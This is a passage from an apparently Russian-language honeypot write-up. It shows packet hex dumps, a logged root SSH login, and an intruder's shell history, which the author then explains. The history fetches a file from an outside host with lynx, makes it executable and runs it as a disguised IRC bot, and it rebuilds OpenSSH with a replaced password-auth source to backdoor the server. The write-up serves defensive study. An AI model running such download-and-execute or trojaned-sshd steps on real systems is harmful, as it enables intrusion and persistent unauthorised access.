0x0010	 0a0a 0a28 03f7 0016 90cc 8804 d2e5 2378	...(..........#x
0x0020	 8010 7d78 31e4 0000 0101 080a 005f 6e70	..}x1........_np
0x0030	 271d a6f4                              

На логе 11 показано, что наш взломщик решил вернуться. Он осуществил трехкратное handshake, и затем я получил следующее сообщение от моего honeypot:

Лог 12: Вход в систему

19:41:14.543164 10.10.10.40.syslog > 10.10.10.70.syslog:  [udp sum ok]
udp 89 (ttl 64, id 16921, len 117)
0x0000	 4500 0075 4219 0000 4011 0fde 0a0a 0a28	E..uB...@......(
0x0010	 0a0a 0a46 0202 0202 0061 ff38 3c33 383e	...F.....a.8<38>
0x0020	 4175 6720 3139 2032 303a 3234 3a32 3620	Aug.19.20:24:26.
0x0030	 7373 6864 5b32 3336 3739 5d3a 2041 6363	sshd[23679]:.Acc
0x0040	 6570 7465 6420 7061 7373 776f 7264 2066	epted.password.f
0x0050	 6f72 2052 4f4f 5420 6672 6f6d 2032 3133	or.ROOT.from.213
0x0060	 2e32 3132 2e31 3431 2e36 3120 706f 7274	.212.141.61.port
0x0070	 2031 3031 35                           	.1015

Лог 12, полученный с моего honeypot, показывает нам, что хакер удачно вошел в мой honeypot, используя SSH. Я непосредственно наблюдал это, поскольку это происходило на моем honeypot. У меня появилась небольшая проблема в связи с этим, так как SSH шифрует все данные, передаваемые между honeypot и моим IDS. Так что некоторое время тыкался вслепую. После того, как я махнул рукой на атаку, я смог получить файл истории и узнать, что именно сделал мой хакер. Лог 13 показывает историю:

Лог 13: Файл истории (history)

cd /etc/tcfs ; lynx -source 
www.somewebsite.com/somedirectory/obsd/inetd > inetd ; chmod +x inetd ;
./inetd
ftp ftp.openbsd.org
tar -zxvf openssh-3.4.tgz
cd ssh
patch < /etc/tcfs/openbsd30_3.4.patch
lynx -source www.somewebsite.com/somedirectory/auth-passwd.c2 >
auth-passwd.c
make obj
make cleandir
make depend
make
make install
kill -9 `cat /var/run/sshd.pid` ; /usr/sbin/sshd
cd .. ; rm -rf ssh openssh-3.4.tgz openbsd30_3.4.patch
ssh localhost -l root
logout

Что нам дает эта информация? Мы видим, что взломщик скачал с www.somewebsite.com/somedirectory/ файл под названием inetd. Для тех, кто не знаком с Unix или Linux, inetd позволяет запущенному демону вызывать другие. Inetd обычно управляется через inetd.conf. Во многих версиях Linux inetd замещен xinetd, который более устойчив и имеет больше возможностей. Однако, этот inetd не был версией, нормальной для Unix машины. Напротив, inetd, обнаруженный мной, оказался IRC bot. После того, как взломщик установил bot, он скaчал auth-passwd.c2. Затем он пропатчил демон OpenSSH, чтобы никто не смог войти после него и решил использовать свою новую жертву для IRC. Спустя 30 минут наблюдения, этот тип и его друзья запустили IRC, мне это надоело, и я решил все это прекратить.

Заключение

Honeypot может научить нас многим вещам, например таким как компьютерная экспертиза (forensics), но единственная вещь, для чего я использовал honeypot – информация. Информация, которую вы собираете, наблюдая noneypot во время атаки, бесценна. Она помогает изучать уязвимости и методы взлома, а следовательно, разрабатывать меры противодействия.

Не ждите, пока хакеры вас взломают - подпишитесь на наш канал и станьте неприступной крепостью!

Подписаться